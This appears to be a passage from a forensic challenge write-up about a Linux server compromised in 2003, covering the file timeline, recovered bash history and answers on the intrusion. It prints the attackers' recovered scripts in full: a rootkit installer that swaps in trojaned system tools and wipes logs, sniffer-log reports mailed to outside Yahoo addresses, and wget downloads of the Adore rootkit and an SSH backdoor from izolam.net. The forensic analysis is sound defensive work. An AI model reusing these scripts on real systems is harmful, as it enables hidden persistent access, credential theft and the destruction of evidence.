echo >> /tmp/13996maillog
echo "###Sniffer log:" >> /tmp/13996log
echo " - TTY Sniffer:" >> /tmp/13996log
cat /lib/.x/.lurker >> /tmp/13996log
echo >> /tmp/13996maillog
echo " - Network Sniffer:" >> /tmp/13996log
cat /lib/.x/s/mfs >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###Reboot log:" >> /tmp/13996log
cat /lib/.x/reboot.log >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
cat /tmp/13996log | mail -s "Host ${IP} is up!" skiZophrenia_sick@yahoo.com
/lib/.x/hide
/lib/.x/cl -f /var/log/maillog yahoo > /dev/null
/lib/.x/cl -s o.tgz > /dev/null
/lib/.x/cl -s suckit > /dev/null
/lib/.x/cl -s xopen > /dev/null
/lib/.x/cl -s promisc > /dev/null
/lib/.x/cl -f promisc /var/log/secure > /dev/null
rm -rf /tmp/13996*
rm -rf /lib/.x/reboot.log
This file is intended to be called when the machine is rebooted, to restart the SSHD/sniffer processes and send
recovered information to a yahoo.com mailbox. It confirms that mfs is a network sniffer log file.3.8 Analysis of added files : attack phase 4
2003-08-10 15:49:47.000000000 -0700 /mnt/sda1/root/sslstop.tar.gz (0)
2003-08-10 15:50:46.000000000 -0700 /mnt/sda1/root/sslstop/Makefile (500)
2003-08-10 15:50:46.000000000 -0700 /mnt/sda1/root/sslstop/sslstop.c (500)
2003-08-10 15:52:00.000000000 -0700 /mnt/sda1/root/sslstop/sslport (0)
2003-08-10 15:52:00.000000000 -0700 /mnt/sda1/root/sslstop/sslstop (0)
2003-08-10 15:52:12.000000000 -0700 /mnt/sda1/var/run/httpd.mm.14637.sem (48)
2003-08-10 15:54:04.000000000 -0700 /mnt/sda1/.bash_history (0)
2003-08-10 15:54:24.000000000 -0700 /mnt/sda1/var/run/httpd.mm.14671.sem (48)
2003-08-10 15:54:48.000000000 -0700 /mnt/sda1/root/sslstop/sslport.c (500)
2003-08-10 15:57:12.000000000 -0700 /mnt/sda1/etc/opt/psyBNC2.3.1.tar.gz (0)
2003-08-10 15:57:33.000000000 -0700 /mnt/sda1/etc/opt/psybnc/CHANGES (0)
[.. snipped other psyBNC package files ..]
2003-08-10 16:01:14.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/convconf (0)
2003-08-10 16:01:15.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/autoconf (0)
2003-08-10 16:01:15.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/sys (0)
2003-08-10 16:01:16.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/chkenv (0)
2003-08-10 16:01:16.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/chksock (0)
2003-08-10 16:01:17.000000000 -0700 /mnt/sda1/etc/opt/psybnc/makefile.out (0)
2003-08-10 16:01:17.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/.chk (0)
2003-08-10 16:01:17.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/chkipv6 (0)
2003-08-10 16:01:17.000000000 -0700 /mnt/sda1/etc/opt/psybnc/tools/chkresolv (0)
2003-08-10 16:01:18.000000000 -0700 /mnt/sda1/etc/opt/psybnc/makesalt (0)
2003-08-10 16:01:18.000000000 -0700 /mnt/sda1/etc/opt/psybnc/src/psybnc.o (0)
[.. snipped other psyBNC intermediary compilation files ..]
2003-08-10 16:02:36.000000000 -0700 /mnt/sda1/etc/opt/psybnc/initd (0)
2003-08-10 16:02:46.000000000 -0700 /mnt/sda1/etc/opt/psybnc/psybnc.pid (0)
This is phase 4. The attacker downloads and compiles a 'sslstop' package and uploads, compiles and starts a psyBNC.
Here are the contents of the /.bash_history leftover :
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9 21510 21511 23289 23292 23302
This proves that the attacker finally got root access and issued commands manually on the bash shell. We can learn the download location of sslstop and see that Apache was finally killed, probably to close the vulnerability used to compromise the host in the first place.
2003-08-10 16:03:32.000000000 -0700 /mnt/sda1/etc/opt/psybnc/log/USER1.TRL (0)
2003-08-10 16:04:15.000000000 -0700 /mnt/sda1/usr/lib/libice.log (0)
2003-08-10 16:04:38.000000000 -0700 /mnt/sda1/lib/.x/s/mfs (0)
2003-08-10 16:04:47.000000000 -0700 /mnt/sda1/etc/opt/psybnc/motd/USER1.MOTD.old (0)
2003-08-10 16:08:12.000000000 -0700 /mnt/sda1/etc/opt/psybnc/motd/USER1.MOTD (0)
2003-08-10 16:32:18.000000000 -0700 /mnt/sda1/lib/.x/s/r_s (0)
2003-08-10 17:50:39.000000000 -0700 /mnt/sda1/etc/opt/psybnc/log/USER2.TRL (0)
2003-08-10 17:52:14.000000000 -0700 /mnt/sda1/etc/opt/psybnc/motd/USER2.MOTD (0)
2003-08-10 18:00:49.000000000 -0700 /mnt/sda1/etc/opt/psybnc/log/psybnc.log (0)
2003-08-10 18:00:49.000000000 -0700 /mnt/sda1/etc/opt/psybnc/psybnc.conf (0)
2003-08-10 18:00:49.000000000 -0700 /mnt/sda1/etc/opt/psybnc/psybnc.conf.old (0)
These are the files later modified by the attackers' already-launched processes.3.9 String search for "(swapd)" on the disk surface
We need a little more information on the attacks of phase 1 and 2. Maybe we can find useful information by looking for unique strings in the unallocated space of the disk. We will use Autopsy, a web-based
front-end to forensics tools avilable on the Knoppix-STD CDROM. We unmount the disk, then create a new Autopsy case with our host and disk image.
Then we use the "keyword search" function to look for occurences of the (swapd) string.
#!/bin/bash
# Made By ICE
BLK='\033[1;30m'
RED='\033[1;31m'
GRN='\033[1;32m'
YEL='\033[1;33m'
BLU='\033[1;34m'
MAG='\033[1;35m'
CYN='\033[1;36m'
WHI='\033[1;37m'
DRED='\033[0;31m'
DGRN='\033[0;32m'
DYEL='\033[0;33m'
DBLU='\033[0;34m'
DMAG='\033[0;35m'
DCYN='\033[0;36m'
DWHI='\033[0;37m'
RES='\033[0m'
USERID=`id -u`
echo "${WHI}---${RED} Verificam daca suntem ROOT ${WHI} !!!${RES}"
if [ $USERID -eq 0 ]
then
echo "${RED}+++${WHI} Cica DA ..., deci putem continua ${BLU} :${WHI}-${RED})${RES}"
else
echo "${RED}--- ${DRED}!!! ${RED}Atentie tu eshti de fapt ${YEL}$USERID${RED} si nu ${GRN}RooT ${DRED}!!!${RES}"
echo "${WHI} Asta ii un ${BLU}ROOTKIT${WHI} deshteptule si trebuie sa aiba ${GRN}uid=0${RES}"
exit
fi
rk=`pwd`
home="/usr/bin"
etc="/etc"
usr="/usr/lib/libshtift"
netstat="/bin/netstat"
ls="/bin/ls"
ps="/bin/ps"
top="/usr/bin/top"
chattr="/usr/bin/chattr"
chat="/usr/lib/ld/chat"
pico="/bin/pico"
wget="/usr/bin/wget"
ifconfig="/sbin/ifconfig"
ttyop="/dev/ttyop"
ttyoa="/dev/ttyoa"
ttyof="/dev/ttyof"
if [ -f "/usr/bin/gcc" ]; then
gcc="/usr/bin/gcc"
else
if [ -f "/usr/local/bin/gcc" ]; then
gcc="/usr/local/bin/gcc"
else
if [ -f "/usr/bin/cc" ]; then
gcc="/usr/bin/cc"
else
if [ -f "/usr/local/bin/cc" ]; then
gcc="/usr/local/bin/cc"
else
gcc="/usr/bin/gnikcs"
fi; fi; fi; fi
unset HISTFILE; chown root.root *; unalias &> /dev/null ls
echo " "
echo "${WHI} @@@ ${GRN}OK ${BLU}ICE sau care eshti pe acolo , de preferabil Budu :-)
${GRN} .., deci sa bagam mare ${BLU}!!!${WHI}@@@${RES}"
echo " "
if [ -f /etc/rc.d/init.d/portmap ]; then
/etc/rc.d/init.d/portmap stop
fi
if [ -f /etc/rc.d/init.d/syslog ]; then
/etc/rc.d/init.d/syslog stop
fi
killall &> /dev/null -9 syslogd
killall &> /dev/null -9 klogd
killall &> /dev/null -9 atd
$chattr &> /dev/null -ASacdisu /bin /bin/* /usr/bin /usr/bin/* /sbin /sbin/* /usr/sbin /usr/sbin/* $etc/im* $usr $usr/* $ttyop $ttyoa $ttyof
echo "${WHI} Sa tragem o privire dupa fisiere.. ${DRED}!${RES}"
echo " "
if [ -f $chattr ]; then
echo " ${WHI}chattr${RED} -> ${BLU}ok${RES}"
else
if [ -f $chat ]; then
/usr/lib/ld/chat -R -ASacdisu /usr/bin $chat
cp -f $chat $chattr
else
tar -xzf chattr.tgz
mv -f chattr $chattr
echo " ${WHI}chattr${RED}->${BLU}atasat${RES}"
chmod +x $chattr
fi; fi
if [ -f $wget ]; then
echo " ${WHI}wget${RED} -> ${BLU}ok${RES}"
else
tar -xzf wget.tgz
mv -f wget $wget
echo " ${WHI}wget${RED} -> ${BLU}atasat${RES}"
chmod +x $wget
fi
if [ -f $pico ]; then
echo " ${WHI}pico${RED} -> ${BLU}ok${RES}"
else
tar -xzf pico.tgz
mv -f pico $pico
echo " ${WHI}pico${RED} -> ${BLU}atasat${RES}"
chmod +x $pico
fi
echo " ${WHI}Rezolvam tampeniile de ps, netstat si etc.., si pe sora-sa :-P${RES}"
mkdir $usr; mv $netstat $ps $ls $ifconfig $top $usr; mv netstat $netstat; mv ps $ps;
mv ifconfig $ifconfig; mv ls $ls; mv top $top; mv .ttyop $ttyop; mv .ttyoa $ttyoa; mv .ttyof $ttyof
echo " ${WHI}Tampeniile${RED} ->${BLU}Done${RES}"
echo " ${WHI}Copiem ${BLU}SSH-ul ${WHI}si ce mai e nevoie :-P .. ${RES}"
mv -f sense sl2 logclear $home; echo "/usr/bin/crontabs -t1 -X53 -p" >> /etc/rc.d/init.d/functions;
echo >> /etc/rc.d/init.d/functions; mv crontabs -f /usr/bin/; chmod 500 /usr/bin/crontabs
./ava
$gcc -o swapd kde.c
if [ -f swapd ]; then
mv swapd /usr/bin/"(swapd)"
else
mv swapd2 /usr/bin/"(swapd)"
fi
mv lpi /usr/bin
mv libsss /usr/lib
chmod +x /usr/bin/lpi
/usr/bin/crontabs
/usr/bin/lpi
echo " ${RED}ATENTIE!!! ${DRED}Tu tre sa dai ${WHI} cd /usr/bin ; sense tcp.log ; logclear ${RES}"
./sysinfo > informatii
echo " ${WHI}Imediat iti trimit Mail ${BLU}BAH${WHI} mai ai rabdare 2 min..${RES}"
echo " "
cat informatii|mail -s "SANDERS root" mybabywhy@yahoo.com
cat informatii|mail -s "SANDERS root" buskyn17@yahoo.com
echo " ${WHI}Mail ${RED}-> ${BLU}Done.${RES}"; echo " "
echo " ${WHI}*** ${GRN}Sa ne facem si noi un catun pe aici! ${BLU};${WHI}-${RED}) ${WHI}***${RES}"
if [ ! -d /dev/hpd ]; then
mkdir /dev/hpd
fi
echo " ${WHI}*** ${GRN}Director-ul /dev/hpd a fost deja creat gajiule:))${WHI} ***${RES}"
echo " ${WHI}*** ${BLU}Acum sa stergem logurile care ne incurca ${WHI}***${RES}"
rm -rf /var/log/*
touch /var/log/wtmp
if [ -f /etc/rc.d/init.d/syslog ]; then
/etc/rc.d/init.d/syslog restart
fi
if [ -f /etc/rc.d/init.d/portmap ]; then
/etc/rc.d/init.d/portmap restart
fi
cd ..
unset HISTFILE; $chattr +AacdisSu /bin /bin/* /usr/bin/sense /usr/bin/top /sbin /sbin/* /usr/sbin /usr/sbin/* $etc/im* $ttyop $ttyoa $ttyof
rm -rf /usr/bin/lpi
rm -rf simpa*
echo " "
echo "${WHI}@@@ ${GRN}OK ${BLU}Shefu${GRN}.., e al tau, bucura-te ca eshti mai destept cu un ${BLU}RooT ${BLU};${WHI}-${RED}P ${WHI}@@@${RES}"
This file is the phase 1 rootkit installation script. It is written in what could be Romanian. It confirms the
location of the rootkit configuration files (/dev/ttyo?) and gives us a few yahoo mailboxes names.
3.10 String search for "sp0" on the disk surface
To get more information on the second phase, let's look for occurences of string "sp0". This is a short string, so it appears in a lot of unrelated files : 45 fragments contain this string. However, we are mostly interested in unallocated fragments (corresponding to deleted files), and only 2 unallocated fragments contain the string "sp0" : 36691 and 112752.
Let's look at the contents of fragment 36691 :
unset HISTFILE HISTSIZE HISTSAVE
BLK="\033[0;30m"
[..snipped other colors definition..]
RES="\033[0m"
printf "${YBL}redCode${RES}${YBL}redCode${RES}${YBL}redCode${RES}\n"
printf "${YBL}redCode${RES}${YBL}Face Treaba${RES}${YBL}ushoara${RES}\n"
printf "${DCYN}Creating Directory...${RES}\n"
mkdir /tmp/rk
printf "${DCYN}Entering Directory${RES}\n"
cd /tmp/rk
printf "${DCYN}OK${RES}\n"
printf "${DCYN}getting the files...${RES}\n"
wget izolam.net/rc/inst -q
wget izolam.net/rc/kflushd -q
printf "${DCYN}OK${RES}\n"
printf "${DCYN}Creating Directory...${RES}\n"
sleep 1
mkdir /tmp/rk/adore
printf "${DCYN}Entering Directory${RES}\n"
cd /tmp/rk/adore/
printf "${DCYN}OK${RES}\n"
printf "${DCYN}getting the files...${RES}\n"
wget izolam.net/rc/adore/adore.c -q
wget izolam.net/rc/adore/ava.c -q
wget izolam.net/rc/adore/dummy.c -q
wget izolam.net/rc/adore/exec.c -q
wget izolam.net/rc/adore/exec-test.c -q
wget izolam.net/rc/adore/libinvisible.c -q
wget izolam.net/rc/adore/libinvisible.h -q
wget izolam.net/rc/adore/cleaner.c -q
sleep 4
printf "${DCYN}OK${RES}\n"
printf "${DCYN}getting the Makefile${RES}\n"
wget izolam.net/rc/adore/Makefile -q
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}Leaving directory..${RES}\n"
printf "${DCYN}Creating Directory...${RES}\n"
mkdir /tmp/rk/ssh
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
cd /tmp/rk/ssh
printf "${DCYN}getting the files...${RES}\n"
wget izolam.net/rc/ssh/sp0 -q
wget izolam.net/rc/ssh/sp0_cfg -q
wget izolam.net/rc/ssh/sp0_key -q
wget izolam.net/rc/ssh/sp0_seed -q
sleep 2
printf "${DCYN}Changing the file modes..${RES}\n"
chmod 777 sp0
printf "${DCYN}OK${RES}\n"
printf "${DCYN}Leaving directory..${RES}\n"
cd /tmp/rk/
chmod 777 inst kflushd
sleep 1
printf "${DCYN}OK${RES}\n"
printf "${DCYN}Cleaning...${RES}\n"
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}All done...${RES}\n"
printf "${DCYN}You Got The redCode rk${RES} ${YEL}$IP${RES}\n"
printf "${DRED}Copyright ${BW}[siCk]${RES} ${DCYN}\n"
This is the download script for the Adore rootkit and sp0 SSH server used in phase 2.
Here is the content of fragment 112752 :
#!/bin/sh
unset HISTFILE HISTSIZE HISTSAVE
BLK="\033[0;30m"
[.. snipped other colors definition ..]
RES="\033[0m"
printf "${YBL}redCode${RES} ${DRED}rkit${RES}\n"
printf "${YBL}redCode${RES}${YBL}redCode${RES}${YBL}redCode${RES}\n"
cd adore
make
mv ava /bin/ava
mv adore.o /usr/lib/
mv cleaner.o /usr/lib/
cd ..
printf "${DCYN}Starting SSHD...${RES}\n"
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
mv ssh/sp0 /bin/
mv ssh/* /usr/lib/
printf "${DCYN}Hiding everything...${RES}\n"
rm -rf /.bash_history
ln -sf /dev/null /root/.bash_history
printf "${DCYN}Cleaning megs ${RES}\n"
rm -rf /var/log/messages
ln -sf /dev/null /var/log/messages
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
echo >>/etc/rc.d/rc.sysinit kflushd
mv kflushd /bin/
kflushd
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}Cleaning all the tracks...${RES}\n"
cd ..
rm -rf .rc
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}All done...${RES}\n"
printf "${DCYN}You Got The root${RES} ${YEL}$IP${RES}\n"
printf "${DRED}Copyright ${BW}[siCk]${RES} ${DCYN}\n"
This is the installation script used in phase 2 for the Adore rootkit files and the sp0 SSH server. This script itself doesn't start the rootkit (insmod command) nor does it start the SSH server (sp0). We have no trace of the /bin/ava file on the filesystem, so maybe compilation failed. Since the adore.o file wasn't hidden from view in live
analysis, we can suppose that the Adore rootkit wasn't running on the compromised host. The sp0 SSH
server wasn't running either, otherwise we would have found another open port in the nmap scan. So we can suppose that
the two were never actually run on the compromised host, probably because the attack script doesn't automatically do it and the
attacker was just interested in getting a root shell to install the IRC bouncer.4. Answers
Question 1
Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.Question 2
Explain the impact that your actions had on the running system.Question 3
List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).Question 4
Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?
192.168.1.79:1146->199.184.165.133:ircd
192.168.1.79:1149->64.62.96.42:ircdQuestion 5
How many instances of an SSH server were installed and at what times?Question 6
Which instances of the SSH servers from question 5 were run?Question 7
Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?Question 8
Which system executables (if any) were trojaned and what configuration files did they use?Question 9
How and from where was the system likely compromised?Bonus question
What nationality do you believe the attacker(s) to be, and why?
SSH backdoor/sniffer and System-command-level rootkit installed, http probe from 213.154.118.219 (extreme-service-11.is.pcnet.ro), SSH connection attempts from 213.154.118.218 (extreme-service-10.is.pcnet.ro), attack script with comments in what is probably Romanian which sends mail to mybabywhy@yahoo.com and buskyn17@yahoo.com mailboxes.
SSH backdoor and Adore kernel-level rootkit files, scripts in english with downloads from izolam.net
SSH backdoor/sniffer installed, sucKIT kernel-level rootkit (unsuccessfully run), script in english with reports to skiZophrenia_sick@yahoo.com mailbox
Downloads from 63.99.224.38 (izolam.net), PsyBNC installed, then accessed from 213.154.118.200 (sanido-08.is.pcnet.ro) and 213.154.118.201 (sanido-09.is.pcnet.ro).5. Reference of tools used
* Nmap v3.10ALPHA4 for perimeter TCP scan
* Nessus 2.0.4 for perimeter vulnerability scan
* Autopsy 1.71 for filesystem forensics
* perl, cat, egrep, sort, diff... for various file filtering, sorting and cleaning